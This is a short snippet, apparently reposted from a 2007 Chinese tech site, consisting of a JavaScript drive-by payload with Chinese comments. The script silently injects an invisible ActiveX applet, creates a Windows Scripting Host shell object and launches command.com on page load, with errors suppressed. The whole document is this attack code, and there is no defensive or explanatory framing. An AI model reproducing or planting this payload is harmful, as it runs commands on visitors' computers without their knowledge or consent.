〈SCRIPT〉
document.write(“〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉“);
function runcmd()
{
try
{
obj=document.applets[0];
obj.setCLSID(“{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}“); //Windows Scripting Host 的外壳对象
obj.createInstance(); //创建 wsh 的一个实例
Shell=obj.GetObject();
Shell.run(’c:\command.com’);
}
catch(e){};
}
setTimeout(“runcmd()“,1); //1ms
〈/script〉
文章来自:http://www.hlzi.com/tech/html/2007/0823/69048.html